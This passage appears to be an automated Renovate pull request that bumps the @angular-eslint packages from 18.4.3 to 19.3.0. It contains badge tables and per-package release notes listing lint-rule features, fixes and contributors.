[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@angular-eslint%2feslint-plugin/18.4.3/19.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
|
[@angular-eslint/eslint-plugin-template](https://redirect.github.com/angular-eslint/angular-eslint)
([source](https://redirect.github.com/angular-eslint/angular-eslint/tree/HEAD/packages/eslint-plugin-template))
| [`18.4.3` ->
`19.3.0`](https://renovatebot.com/diffs/npm/@angular-eslint%2feslint-plugin-template/18.4.3/19.3.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@angular-eslint%2feslint-plugin-template/19.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@angular-eslint%2feslint-plugin-template/19.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@angular-eslint%2feslint-plugin-template/18.4.3/19.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@angular-eslint%2feslint-plugin-template/18.4.3/19.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
|
[@angular-eslint/schematics](https://redirect.github.com/angular-eslint/angular-eslint)
([source](https://redirect.github.com/angular-eslint/angular-eslint/tree/HEAD/packages/schematics))
| [`18.4.3` ->
`19.3.0`](https://renovatebot.com/diffs/npm/@angular-eslint%2fschematics/18.4.3/19.3.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@angular-eslint%2fschematics/19.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@angular-eslint%2fschematics/19.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@angular-eslint%2fschematics/18.4.3/19.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@angular-eslint%2fschematics/18.4.3/19.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
|
[@angular-eslint/template-parser](https://redirect.github.com/angular-eslint/angular-eslint)
([source](https://redirect.github.com/angular-eslint/angular-eslint/tree/HEAD/packages/template-parser))
| [`18.4.3` ->
`19.3.0`](https://renovatebot.com/diffs/npm/@angular-eslint%2ftemplate-parser/18.4.3/19.3.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@angular-eslint%2ftemplate-parser/19.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@angular-eslint%2ftemplate-parser/19.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@angular-eslint%2ftemplate-parser/18.4.3/19.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@angular-eslint%2ftemplate-parser/18.4.3/19.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>angular-eslint/angular-eslint
(@&#8203;angular-eslint/builder)</summary>

###
[`v19.3.0`](https://redirect.github.com/angular-eslint/angular-eslint/blob/HEAD/packages/builder/CHANGELOG.md#1930-2025-03-22)

[Compare
Source](https://redirect.github.com/angular-eslint/angular-eslint/compare/v19.2.1...v19.3.0)

This was a version bump only for builder to align it with other
projects, there were no code changes.

###
[`v19.2.1`](https://redirect.github.com/angular-eslint/angular-eslint/blob/HEAD/packages/builder/CHANGELOG.md#1921-2025-03-08)

[Compare
Source](https://redirect.github.com/angular-eslint/angular-eslint/compare/v19.2.0...v19.2.1)

This was a version bump only for builder to align it with other
projects, there were no code changes.

###
[`v19.2.0`](https://redirect.github.com/angular-eslint/angular-eslint/blob/HEAD/packages/builder/CHANGELOG.md#1920-2025-03-02)

[Compare
Source](https://redirect.github.com/angular-eslint/angular-eslint/compare/v19.1.0...v19.2.0)

##### 🩹 Fixes

- **eslint-plugin-template:** find inline templates on components in
blocks
([#&#8203;2238](https://redirect.github.com/angular-eslint/angular-eslint/pull/2238))

##### ❤️ Thank You

-   Dave [@&#8203;reduckted](https://redirect.github.com/reduckted)

###
[`v19.1.0`](https://redirect.github.com/angular-eslint/angular-eslint/blob/HEAD/packages/builder/CHANGELOG.md#1910-2025-02-09)

[Compare
Source](https://redirect.github.com/angular-eslint/angular-eslint/compare/v19.0.2...v19.1.0)

This was a version bump only for builder to align it with other
projects, there were no code changes.

###
[`v19.0.2`](https://redirect.github.com/angular-eslint/angular-eslint/blob/HEAD/packages/builder/CHANGELOG.md#1902-2024-12-10)

[Compare
Source](https://redirect.github.com/angular-eslint/angular-eslint/compare/v19.0.1...v19.0.2)

This was a version bump only for builder to align it with other
projects, there were no code changes.

###
[`v19.0.1`](https://redirect.github.com/angular-eslint/angular-eslint/blob/HEAD/packages/builder/CHANGELOG.md#1901-2024-12-06)

[Compare
Source](https://redirect.github.com/angular-eslint/angular-eslint/compare/v19.0.0...v19.0.1)

This was a version bump only for builder to align it with other
projects, there were no code changes.

###
[`v19.0.0`](https://redirect.github.com/angular-eslint/angular-eslint/blob/HEAD/packages/builder/CHANGELOG.md#1900-2024-11-29)

[Compare
Source](https://redirect.github.com/angular-eslint/angular-eslint/compare/v18.4.3...v19.0.0)

##### 🚀 Features

- update angular packages to the stable v19
([#&#8203;2120](https://redirect.github.com/angular-eslint/angular-eslint/pull/2120))

##### ❤️ Thank You

- Leosvel Pérez Espinosa
[@&#8203;leosvelperez](https://redirect.github.com/leosvelperez)

#### 18.4.3 (2024-11-29)

##### 🩹 Fixes

- yarn pnp issues
([#&#8203;2143](https://redirect.github.com/angular-eslint/angular-eslint/pull/2143))

##### ❤️ Thank You

- James Henry
[@&#8203;JamesHenry](https://redirect.github.com/JamesHenry)

#### 18.4.2 (2024-11-23)

This was a version bump only for builder to align it with other
projects, there were no code changes.

#### 18.4.1 (2024-11-18)

This was a version bump only for builder to align it with other
projects, there were no code changes.

#### 18.4.0 (2024-10-21)

##### 🚀 Features

- support ESM configs and .cjs and .mjs extensions
([#&#8203;2068](https://redirect.github.com/angular-eslint/angular-eslint/pull/2068))

##### 🩹 Fixes

- update dependency eslint to v9.13.0, support noConfigLookup
([#&#8203;2045](https://redirect.github.com/angular-eslint/angular-eslint/pull/2045))

##### ❤️ Thank You

- James Henry
[@&#8203;JamesHenry](https://redirect.github.com/JamesHenry)

#### 18.3.1 (2024-09-11)

This was a version bump only for builder to align it with other
projects, there were no code changes.

#### 18.3.0 (2024-08-13)

##### 🩹 Fixes

-   ensure consistent nx dependency versions

##### ❤️ Thank You

-   James Henry

#### 18.2.0 (2024-07-31)

This was a version bump only for builder to align it with other
projects, there were no code changes.

#### 18.1.0 (2024-07-01)

This was a version bump only for builder to align it with other
projects, there were no code changes.

#### 18.0.1 (2024-05-30)

##### 🩹 Fixes

- move typescript-eslint packages to peerDeps, consistently allow v7 and
v8

##### ❤️ Thank You

-   James Henry

</details>

<details>
<summary>angular-eslint/angular-eslint
(@&#8203;angular-eslint/eslint-plugin)</summary>

###
[`v19.3.0`](https://redirect.github.com/angular-eslint/angular-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#1930-2025-03-22)

[Compare
Source](https://redirect.github.com/angular-eslint/angular-eslint/compare/v19.2.1...v19.3.0)

This was a version bump only for eslint-plugin to align it with other
projects, there were no code changes.

###
[`v19.2.1`](https://redirect.github.com/angular-eslint/angular-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#1921-2025-03-08)

[Compare
Source](https://redirect.github.com/angular-eslint/angular-eslint/compare/v19.2.0...v19.2.1)

This was a version bump only for eslint-plugin to align it with other
projects, there were no code changes.

###
[`v19.2.0`](https://redirect.github.com/angular-eslint/angular-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#1920-2025-03-02)

[Compare
Source](https://redirect.github.com/angular-eslint/angular-eslint/compare/v19.1.0...v19.2.0)

##### 🚀 Features

- **eslint-plugin:** add rule require-lifecycle-on-prototype
([#&#8203;2259](https://redirect.github.com/angular-eslint/angular-eslint/pull/2259))

##### 🩹 Fixes

- **eslint-plugin-template:** find inline templates on components in
blocks
([#&#8203;2238](https://redirect.github.com/angular-eslint/angular-eslint/pull/2238))

##### ❤️ Thank You

-   Dave [@&#8203;reduckted](https://redirect.github.com/reduckted)

###
[`v19.1.0`](https://redirect.github.com/angular-eslint/angular-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#1910-2025-02-09)

[Compare
Source](https://redirect.github.com/angular-eslint/angular-eslint/compare/v19.0.2...v19.1.0)

##### 🚀 Features

- **eslint-plugin:** prefer-signals now checks .asReadonly() calls
([#&#8203;2218](https://redirect.github.com/angular-eslint/angular-eslint/pull/2218))
- **eslint-plugin:** prefer-signals read-only suggestion is now a fix
([#&#8203;2175](https://redirect.github.com/angular-eslint/angular-eslint/pull/2175))

##### 🩹 Fixes

- **eslint-plugin:** \[no-input-prefix] false positive on input
initializer value
([#&#8203;2184](https://redirect.github.com/angular-eslint/angular-eslint/pull/2184))
- **eslint-plugin:** \[prefer-signals] support linkedSignal
([#&#8203;2213](https://redirect.github.com/angular-eslint/angular-eslint/pull/2213))

##### ❤️ Thank You

- Cédric Exbrayat
[@&#8203;cexbrayat](https://redirect.github.com/cexbrayat)
-   Dave [@&#8203;reduckted](https://redirect.github.com/reduckted)
-   Lucas Neto Moreira

###
[`v19.0.2`](https://redirect.github.com/angular-eslint/angular-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#1902-2024-12-10)

[Compare
Source](https://redirect.github.com/angular-eslint/angular-eslint/compare/v19.0.1...v19.0.2)

##### 🩹 Fixes

- **eslint-plugin:** \[prefer-standalone] error range should only
include property and value
([#&#8203;2172](https://redirect.github.com/angular-eslint/angular-eslint/pull/2172))

##### ❤️ Thank You

- James Henry
[@&#8203;JamesHenry](https://redirect.github.com/JamesHenry)

###
[`v19.0.1`](https://redirect.github.com/angular-eslint/angular-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#1901-2024-12-06)

[Compare
Source](https://redirect.github.com/angular-eslint/angular-eslint/compare/v19.0.0...v19.0.1)

##### 🩹 Fixes

- **eslint-plugin:** adding prefer-signals rule to exported config
([#&#8203;2150](https://redirect.github.com/angular-eslint/angular-eslint/pull/2150))

##### ❤️ Thank You

- Quentin Deroubaix
[@&#8203;quentinderoubaix](https://redirect.github.com/quentinderoubaix)

###
[`v19.0.0`](https://redirect.github.com/angular-eslint/angular-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#1900-2024-11-29)

[Compare
Source](https://redirect.github.com/angular-eslint/angular-eslint/compare/v18.4.3...v19.0.0)

##### 🚀 Features

- ⚠️ **eslint-plugin:** promote prefer-standalone to recommended
([8dfdc4f4](https://redirect.github.com/angular-eslint/angular-eslint/commit/8dfdc4f4))
- **eslint-plugin:** new rule prefer-signals
([#&#8203;1872](https://redirect.github.com/angular-eslint/angular-eslint/pull/1872))
- ⚠️ **eslint-plugin:** remove deprecated no-host-metadata-property rule
([#&#8203;2113](https://redirect.github.com/angular-eslint/angular-eslint/pull/2113))
- ⚠️ **eslint-plugin:** remove deprecated sort-ngmodule-metadata-arrays
rule
([#&#8203;2114](https://redirect.github.com/angular-eslint/angular-eslint/pull/2114))
- ⚠️ **eslint-plugin:** prefer-standalone recognizes that standalone is
the default
([#&#8203;2096](https://redirect.github.com/angular-eslint/angular-eslint/pull/2096))
- ⚠️ **eslint-plugin:** remove deprecated prefer-standalone-component
rule
([#&#8203;2112](https://redirect.github.com/angular-eslint/angular-eslint/pull/2112))

##### ⚠️ Breaking Changes

- ⚠️ **eslint-plugin:** promote prefer-standalone to recommended
([8dfdc4f4](https://redirect.github.com/angular-eslint/angular-eslint/commit/8dfdc4f4))
- ⚠️ **eslint-plugin:** remove deprecated no-host-metadata-property rule
([#&#8203;2113](https://redirect.github.com/angular-eslint/angular-eslint/pull/2113))
- ⚠️ **eslint-plugin:** remove deprecated sort-ngmodule-metadata-arrays
rule
([#&#8203;2114](https://redirect.github.com/angular-eslint/angular-eslint/pull/2114))
- ⚠️ **eslint-plugin:** prefer-standalone recognizes that standalone is
the default
([#&#8203;2096](https://redirect.github.com/angular-eslint/angular-eslint/pull/2096))
- ⚠️ **eslint-plugin:** remove deprecated prefer-standalone-component
rule
([#&#8203;2112](https://redirect.github.com/angular-eslint/angular-eslint/pull/2112))

##### ❤️ Thank You

- Daniel Kimmich
[@&#8203;json-derulo](https://redirect.github.com/json-derulo)
-   Dave [@&#8203;reduckted](https://redirect.github.com/reduckted)
- James Henry
[@&#8203;JamesHenry](https://redirect.github.com/JamesHenry)
- JamesHenry
[@&#8203;JamesHenry](https://redirect.github.com/JamesHenry)

#### 18.4.3 (2024-11-29)

This was a version bump only for eslint-plugin to align it with other
projects, there were no code changes.

#### 18.4.2 (2024-11-23)

##### 🩹 Fixes

- **eslint-plugin:** fix placement of lifecycle interface for subclasses
([#&#8203;1965](https://redirect.github.com/angular-eslint/angular-eslint/pull/1965))
- **eslint-plugin:** handle `output()` and `input()` functions in
various rules
([#&#8203;2098](https://redirect.github.com/angular-eslint/angular-eslint/pull/2098))

##### ❤️ Thank You

-   Aleksandr Martirosyan
-   Dave [@&#8203;reduckted](https://redirect.github.com/reduckted)

#### 18.4.1 (2024-11-18)

This was a version bump only for eslint-plugin to align it with other
projects, there were no code changes.

#### 18.4.0 (2024-10-21)

This was a version bump only for eslint-plugin to align it with other
projects, there were no code changes.

#### 18.3.1 (2024-09-11)

This was a version bump only for eslint-plugin to align it with other
projects, there were no code changes.

#### 18.3.0 (2024-08-13)

##### 🚀 Features

-   **eslint-plugin:** new rule runtime-localize

##### ❤️ Thank You

-   m-akinc

#### 18.2.0 (2024-07-31)

##### 🚀 Features

-   update typescript-eslint to v8 stable, eslint v9.8.0

##### 🩹 Fixes

- **eslint-plugin:** \[prefer-standalone] ignore empty Directive
decorators

##### ❤️ Thank You

-   James Henry
-   Paweł Maniecki

#### 18.1.0 (2024-07-01)

##### 🚀 Features

- **eslint-plugin:** \[prefer-output-readonly] support output() function

##### 🩹 Fixes

-   update typescript-eslint packages to v8.0.0-alpha.37

##### ❤️ Thank You

-   Christian Svensson
-   Daniel Kimmich
-   Dave
-   Martijn van der Meij
-   Maximilian Main

#### 18.0.1 (2024-05-30)

##### 🩹 Fixes

- move typescript-eslint packages to peerDeps, consistently allow v7 and
v8

##### ❤️ Thank You

-   James Henry

</details>

<details>
<summary>angular-eslint/angular-eslint
(@&#8203;angular-eslint/eslint-plugin-template)</summary>

###
[`v19.3.0`](https://redirect.github.com/angular-eslint/angular-eslint/blob/HEAD/packages/eslint-plugin-template/CHANGELOG.md#1930-2025-03-22)

[Compare
Source](https://redirect.github.com/angular-eslint/angular-eslint/compare/v19.2.1...v19.3.0)

##### 🚀 Features

- use
[@&#8203;angular/compiler](https://redirect.github.com/angular/compiler)
19.2.3 and rename some AST nodes to match
([#&#8203;2320](https://redirect.github.com/angular-eslint/angular-eslint/pull/2320))
- **eslint-plugin-template:** add rule prefer-contextual-for-variables
([#&#8203;2311](https://redirect.github.com/angular-eslint/angular-eslint/pull/2311))
- **eslint-plugin-template:** \[button-has-type] add option to ignore
missing type
([#&#8203;2326](https://redirect.github.com/angular-eslint/angular-eslint/pull/2326))

##### 🩹 Fixes

- **eslint-plugin-template:** \[attributes-order] treat inputs without
square brackets as attributes
([#&#8203;2316](https://redirect.github.com/angular-eslint/angular-eslint/pull/2316))
- **eslint-plugin-template:** \[attributes-order] order i18n attributes
([#&#8203;2307](https://redirect.github.com/angular-eslint/angular-eslint/pull/2307))
- **eslint-plugin-template:** \[i18n] Avoid exception in i18n rule with
allowMarkupInContent=false
([#&#8203;2327](https://redirect.github.com/angular-eslint/angular-eslint/pull/2327))

##### ❤️ Thank You

-   Dave [@&#8203;reduckted](https://redirect.github.com/reduckted)
-   m-akinc [@&#8203;m-akinc](https://redirect.github.com/m-akinc)

###
[`v19.2.1`](https://redirect.github.com/angular-eslint/angular-eslint/blob/HEAD/packages/eslint-plugin-template/CHANGELOG.md#1921-2025-03-08)

[Compare
Source](https://redirect.github.com/angular-eslint/angular-eslint/compare/v19.2.0...v19.2.1)

##### 🩹 Fixes

- **eslint-plugin-template:** \[prefer-self-closing-tags] resolve wrong
reports when structural directive + no content + no self-closing
([#&#8203;2287](https://redirect.github.com/angular-eslint/angular-eslint/pull/2287))

##### ❤️ Thank You

-   Guillaume DROUARD

###
[`v19.2.0`](https://redirect.github.com/angular-eslint/angular-eslint/blob/HEAD/packages/eslint-plugin-template/CHANGELOG.md#1920-2025-03-02)

[Compare
Source](https://redirect.github.com/angular-eslint/angular-eslint/compare/v19.1.0...v19.2.0)

##### 🩹 Fixes

- **prefer-static-string-properties:** exclude special attributes
([#&#8203;2273](https://redirect.github.com/angular-eslint/angular-eslint/pull/2273))
- **prefer-static-string-properties:** resolve bug with directives
([#&#8203;2271](https://redirect.github.com/angular-eslint/angular-eslint/pull/2271))
- **eslint-plugin-template:** find inline templates on components in
blocks
([#&#8203;2238](https://redirect.github.com/angular-eslint/angular-eslint/pull/2238))
- **eslint-plugin-template:** \[prefer-static-string-properties] do not
check structural directives
([#&#8203;2253](https://redirect.github.com/angular-eslint/angular-eslint/pull/2253))
- **eslint-plugin-template:** \[prefer-self-closing-tags] allow nested
ng-content
([#&#8203;2257](https://redirect.github.com/angular-eslint/angular-eslint/pull/2257))
- **eslint-plugin-template:** \[prefer-self-closing-tags] do not treat
comments as whitespace
([#&#8203;2256](https://redirect.github.com/angular-eslint/angular-eslint/pull/2256))

##### ❤️ Thank You

-   Dave [@&#8203;reduckted](https://redirect.github.com/reduckted)
- Marie Briand
[@&#8203;mbriand-lucca](https://redirect.github.com/mbriand-lucca)

###
[`v19.1.0`](https://redirect.github.com/angular-eslint/angular-eslint/blob/HEAD/packages/eslint-plugin-template/CHANGELOG.md#1910-2025-02-09)

[Compare
Source](https://redirect.github.com/angular-eslint/angular-eslint/compare/v19.0.2...v19.1.0)

##### 🚀 Features

- **eslint-plugin-template:** add rule prefer-static-string-properties
([#&#8203;2228](https://redirect.github.com/angular-eslint/angular-eslint/pull/2228))

##### 🩹 Fixes

- **eslint-plugin-template:** \[attribute-order] check for ng-template
within svg
([#&#8203;2223](https://redirect.github.com/angular-eslint/angular-eslint/pull/2223))
- **eslint-plugin-template:** \[prefer-self-closing-tags] do not remove
HTML-encoded whitespace
([#&#8203;2229](https://redirect.github.com/angular-eslint/angular-eslint/pull/2229))

##### ❤️ Thank You

-   Dave [@&#8203;reduckted](https://redirect.github.com/reduckted)

###
[`v19.0.2`](https://redirect.github.com/angular-eslint/angular-eslint/blob/HEAD/packages/eslint-plugin-template/CHANGELOG.md#1902-2024-12-10)

[Compare
Source](https://redirect.github.com/angular-eslint/angular-eslint/compare/v19.0.1...v19.0.2)

This was a version bump only for eslint-plugin-template to align it with
other projects, there were no code changes.

###
[`v19.0.1`](https://redirect.github.com/angular-eslint/angular-eslint/blob/HEAD/packages/eslint-plugin-template/CHANGELOG.md#1901-2024-12-06)

[Compare
Source](https://redirect.github.com/angular-eslint/angular-eslint/compare/v19.0.0...v19.0.1)

##### 🩹 Fixes

- **eslint-plugin-template:** prevent the slot tag from being
self-closing
([#&#8203;2088](https://redirect.github.com/angular-eslint/angular-eslint/pull/2088))

##### ❤️ Thank You

- Joan Llenas
[@&#8203;joanllenas](https://redirect.github.com/joanllenas)

###
[`v19.0.0`](https://redirect.github.com/angular-eslint/angular-eslint/blob/HEAD/packages/eslint-plugin-template/CHANGELOG.md#1900-2024-11-29)

[Compare
Source](https://redirect.github.com/angular-eslint/angular-eslint/compare/v18.4.3...v19.0.0)

This was a version bump only for eslint-plugin-template to align it with
other projects, there were no code changes.

#### 18.4.3 (2024-11-29)

This was a version bump only for eslint-plugin-template to align it with
other projects, there were no code changes.

#### 18.4.2 (2024-11-23)

This was a version bump only for eslint-plugin-template to align it with
other projects, there were no code changes.

#### 18.4.1 (2024-11-18)

This was a version bump only for eslint-plugin-template to align it with
other projects, there were no code changes.

#### 18.4.0 (2024-10-21)

##### 🩹 Fixes

- update typescript-eslint packages to v8.10.0
([#&#8203;2046](https://redirect.github.com/angular-eslint/angular-eslint/pull/2046))
- update dependency aria-query to v5.3.2
([#&#8203;2053](https://redirect.github.com/angular-eslint/angular-eslint/pull/2053))
- update dependency aria-query to v5.3.1
([#&#8203;2043](https://redirect.github.com/angular-eslint/angular-eslint/pull/2043))

#### 18.3.1 (2024-09-11)

##### 🩹 Fixes

-   **template-parser:** visit receiver of Call expression

-   **template-parser:** visit receiver of Call expression"

-   **template-parser:** visit receiver of Call expression

##### ❤️ Thank You

-   James Henry
-   Paweł Maniecki

#### 18.3.0 (2024-08-13)

##### 🩹 Fixes

- **eslint-plugin-template:** \[interactive-supports-focus] allowList
with form as default option to support event bubbling

- **eslint-plugin-template:** \[prefer-self-closing-tags] fix ng-content
with rich default content

-   **prefer-self-closing-tags:** handle both forward and backward slash

##### ❤️ Thank You

-   Daniel Kimmich
-   Sandi Barr
-   Simon

#### 18.2.0 (2024-07-31)

##### 🚀 Features

-   update typescript-eslint to v8 stable, eslint v9.8.0

##### 🩹 Fixes

-   update dependency axobject-query to v4.1.0

- **eslint-plugin-template:** add meta to preprocessor to resolve eslint
cache error

##### ❤️ Thank You

-   James Henry
-   kwiateusz

#### 18.1.0 (2024-07-01)

##### 🚀 Features

- **eslint-plugin:** \[no-call-expression] add allowPrefix and
allowSuffix

##### 🩹 Fixes

-   update typescript-eslint packages to v8.0.0-alpha.37

- **eslint-plugin-template:** \[prefer-self-closing-tags] always ignore
index.html files

- **eslint-plugin-template:** \[prefer-self-closing-tags] support
ng-content with fallback content

##### ❤️ Thank You

-   Christian Svensson
-   Daniel Kimmich
-   Dave
-   Martijn van der Meij
-   Maximilian Main

#### 18.0.1 (2024-05-30)

##### 🩹 Fixes

- move typescript-eslint packages to peerDeps, consistently allow v7 and
v8

##### ❤️ Thank You

-   James Henry

</details>

<details>
<summary>angular-eslint/angular-eslint
(@&#8203;angular-eslint/schematics)</summary>

###
[`v19.3.0`](https://redirect.github.com/angular-eslint/angular-eslint/blob/HEAD/packages/schematics/CHANGELOG.md#1930-2025-03-22)

[Compare
Source](https://redirect.github.com/angular-eslint/angular-eslint/compare/v19.2.1...v19.3.0)

##### 🩹 Fixes

- update dependency eslint to v9.23.0
([#&#8203;2331](https://redirect.github.com/angular-eslint/angular-eslint/pull/2331))
- update typescript-eslint packages to v8.27.0
([#&#8203;2328](https://redirect.github.com/angular-eslint/angular-eslint/pull/2328))
- update typescript-eslint packages to v8.26.1
([#&#8203;2313](https://redirect.github.com/angular-eslint/angular-eslint/pull/2313))

###
[`v19.2.1`](https://redirect.github.com/angular-eslint/angular-eslint/blob/HEAD/packages/schematics/CHANGELOG.md#1921-2025-03-08)

[Compare
Source](https://redirect.github.com/angular-eslint/angular-eslint/compare/v19.2.0...v19.2.1)

##### 🩹 Fixes

- update dependency eslint to v9.22.0
([#&#8203;2294](https://redirect.github.com/angular-eslint/angular-eslint/pull/2294))
- update typescript-eslint packages to v8.26.0
([#&#8203;2282](https://redirect.github.com/angular-eslint/angular-eslint/pull/2282))

###
[`v19.2.0`](https://redirect.github.com/angular-eslint/angular-eslint/blob/HEAD/packages/schematics/CHANGELOG.md#1920-2025-03-02)

[Compare
Source](https://redirect.github.com/angular-eslint/angular-eslint/compare/v19.1.0...v19.2.0)

##### 🩹 Fixes

- update typescript-eslint packages to v8.25.0
([#&#8203;2263](https://redirect.github.com/angular-eslint/angular-eslint/pull/2263))
- update dependency eslint to v9.21.0
([#&#8203;2243](https://redirect.github.com/angular-eslint/angular-eslint/pull/2243))
- **eslint-plugin-template:** find inline templates on components in
blocks
([#&#8203;2238](https://redirect.github.com/angular-eslint/angular-eslint/pull/2238))
- update typescript-eslint packages to v8.24.0
([#&#8203;2240](https://redirect.github.com/angular-eslint/angular-eslint/pull/2240))

##### ❤️ Thank You

-   Dave [@&#8203;reduckted](https://redirect.github.com/reduckted)

###
[`v19.1.0`](https://redirect.github.com/angular-eslint/angular-eslint/blob/HEAD/packages/schematics/CHANGELOG.md#1910-2025-02-09)

[Compare
Source](https://redirect.github.com/angular-eslint/angular-eslint/compare/v19.0.2...v19.1.0)

##### 🩹 Fixes

- update dependency eslint to v9.20.0
([#&#8203;2217](https://redirect.github.com/angular-eslint/angular-eslint/pull/2217))
- update typescript-eslint packages to v8.23.0
([#&#8203;2212](https://redirect.github.com/angular-eslint/angular-eslint/pull/2212))
- update dependency semver to v7.7.1
([#&#8203;2225](https://redirect.github.com/angular-eslint/angular-eslint/pull/2225))
- update typescript-eslint packages to v8.20.0
([#&#8203;2185](https://redirect.github.com/angular-eslint/angular-eslint/pull/2185))
- update dependency eslint to v9.18.0
([#&#8203;2181](https://redirect.github.com/angular-eslint/angular-eslint/pull/2181))
- update dependency ignore to v7
([#&#8203;2200](https://redirect.github.com/angular-eslint/angular-eslint/pull/2200))

###
[`v19.0.2`](https://redirect.github.com/angular-eslint/angular-eslint/blob/HEAD/packages/schematics/CHANGELOG.md#1902-2024-12-10)

[Compare
Source](https://redirect.github.com/angular-eslint/angular-eslint/compare/v19.0.1...v19.0.2)

##### 🩹 Fixes

- update typescript-eslint packages to v8.18.0
([#&#8203;2171](https://redirect.github.com/angular-eslint/angular-eslint/pull/2171))

###
[`v19.0.1`](https://redirect.github.com/angular-eslint/angular-eslint/blob/HEAD/packages/schematics/CHANGELOG.md#1901-2024-12-06)

[Compare
Source](https://redirect.github.com/angular-eslint/angular-eslint/compare/v19.0.0...v19.0.1)

##### 🩹 Fixes

- update typescript-eslint packages to v8.17.0
([#&#8203;2153](https://redirect.github.com/angular-eslint/angular-eslint/pull/2153))
- update dependency eslint to v9.16.0
([#&#8203;2148](https://redirect.github.com/angular-eslint/angular-eslint/pull/2148))

###
[`v19.0.0`](https://redirect.github.com/angular-eslint/angular-eslint/blob/HEAD/packages/schematics/CHANGELOG.md#1900-2024-11-29)

[Compare
Source](https://redirect.github.com/angular-eslint/angular-eslint/compare/v18.4.3...v19.0.0)

##### 🚀 Features

- allow referencing angular-eslint as the schematics collection
([2be3107b](https://redirect.github.com/angular-eslint/angular-eslint/commit/2be3107b))
- update angular packages to the stable v19
([#&#8203;2120](https://redirect.github.com/angular-eslint/angular-eslint/pull/2120))

##### ❤️ Thank You

- JamesHenry
[@&#8203;JamesHenry](https://redirect.github.com/JamesHenry)
- Leosvel Pérez Espinosa
[@&#8203;leosvelperez](https://redirect.github.com/leosvelperez)

#### 18.4.3 (2024-11-29)

##### 🩹 Fixes

- update typescript-eslint packages to v8.16.0
([#&#8203;2135](https://redirect.github.com/angular-eslint/angular-eslint/pull/2135))
- yarn pnp issues
([#&#8203;2143](https://redirect.github.com/angular-eslint/angular-eslint/pull/2143))

##### ❤️ Thank You

- James Henry
[@&#8203;JamesHenry](https://redirect.github.com/JamesHenry)

#### 18.4.2 (2024-11-23)

This was a version bump only for schematics to align it with other
projects, there were no code changes.

#### 18.4.1 (2024-11-18)

##### 🩹 Fixes

- update dependency ignore to v6
([#&#8203;2047](https://redirect.github.com/angular-eslint/angular-eslint/pull/2047))

#### 18.4.0 (2024-10-21)

##### 🚀 Features

- support ESM configs and .cjs and .mjs extensions
([#&#8203;2068](https://redirect.github.com/angular-eslint/angular-eslint/pull/2068))

##### 🩹 Fixes

- update dependency eslint to v9.13.0, support noConfigLookup
([#&#8203;2045](https://redirect.github.com/angular-eslint/angular-eslint/pull/2045))
- update typescript-eslint packages to v8.10.0
([#&#8203;2046](https://redirect.github.com/angular-eslint/angular-eslint/pull/2046))
- update typescript-eslint packages to v8.5.0
([#&#8203;2020](https://redirect.github.com/angular-eslint/angular-eslint/pull/2020))

##### ❤️ Thank You

- James Henry
[@&#8203;JamesHenry](https://redirect.github.com/JamesHenry)

#### 18.3.1 (2024-09-11)

##### 🩹 Fixes

-   update dependency eslint to v9.9.1

-   update typescript-eslint packages to v8.2.0

#### 18.3.0 (2024-08-13)

##### 🩹 Fixes

-   ensure consistent nx dependency versions

-   update dependency eslint to v9.9.0

-   update dependency ignore to v5.3.2

-   update typescript-eslint packages to v8.0.1

-   update typescript-eslint packages to v8.1.0

##### ❤️ Thank You

-   James Henry

#### 18.2.0 (2024-07-31)

##### 🚀 Features

-   update typescript-eslint to v8 stable, eslint v9.8.0

##### 🩹 Fixes

-   update dependency semver to v7.6.3

##### ❤️ Thank You

-   James Henry

#### 18.1.0 (2024-07-01)

##### 🩹 Fixes

-   update dependency eslint to v9.4.0

-   update dependency eslint to v9.5.0

-   update dependency eslint to v9.6.0

-   update typescript-eslint packages to v8.0.0-alpha.37

-   update typescript-eslint packages to v8.0.0-alpha.38

##### ❤️ Thank You

-   Christian Svensson
-   Daniel Kimmich
-   Dave
-   Martijn van der Meij
-   Maximilian Main

#### 18.0.1 (2024-05-30)

This was a version bump only for schematics to align it with other
projects, there were no code changes.

</details>

<details>
<summary>angular-eslint/angular-eslint
(@&#8203;angular-eslint/template-parser)</summary>

###
[`v19.3.0`](https://redirect.github.com/angular-eslint/angular-eslint/blob/HEAD/packages/template-parser/CHANGELOG.md#1930-2025-03-22)

[Compare
Source](https://redirect.github.com/angular-eslint/angular-eslint/compare/v19.2.1...v19.3.0)

##### 🚀 Features

- use
[@&#8203;angular/compiler](https://redirect.github.com/angular/compiler)
19.2.3 and rename some AST nodes to match
([#&#8203;2320](https://redirect.github.com/angular-eslint/angular-eslint/pull/2320))
- **template-parser:** visit
